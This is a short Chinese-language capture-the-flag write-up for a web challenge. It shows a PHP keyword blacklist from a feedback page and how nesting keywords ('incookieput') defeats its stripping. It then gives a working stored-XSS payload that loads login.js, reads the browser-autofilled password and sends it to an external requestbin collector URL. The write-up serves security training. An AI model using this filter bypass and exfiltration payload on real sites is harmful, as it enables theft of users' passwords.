在login页面我们可以看到一个login.js文件,通过里面的代码我们可以知道这里会把当前用户的用户名和密码填入表单
注册账号后看到提示,所以这个不是注入的题
然后在feedback页面发现这样一段注释,
这个过滤是把关键词替换成了空格,并且一个关键字只检查一遍,所以我们可以构造形如incookieput,这样结果就是input
<!--
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
-->
综上,我们可以利用feedback页面提交我们所构造的表单来获取flag
利用http://http.requestbin.buuoj.cn/平台(requestbin提供了一个URL,改URL将收集对其发出的请求,首页点击create a requestbin)
构造表单
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1a5ujib1/?a="+psw;
</scrcookieipt>
在feedback页面提交后返回requestbin平台查看得到的反馈即可得到flag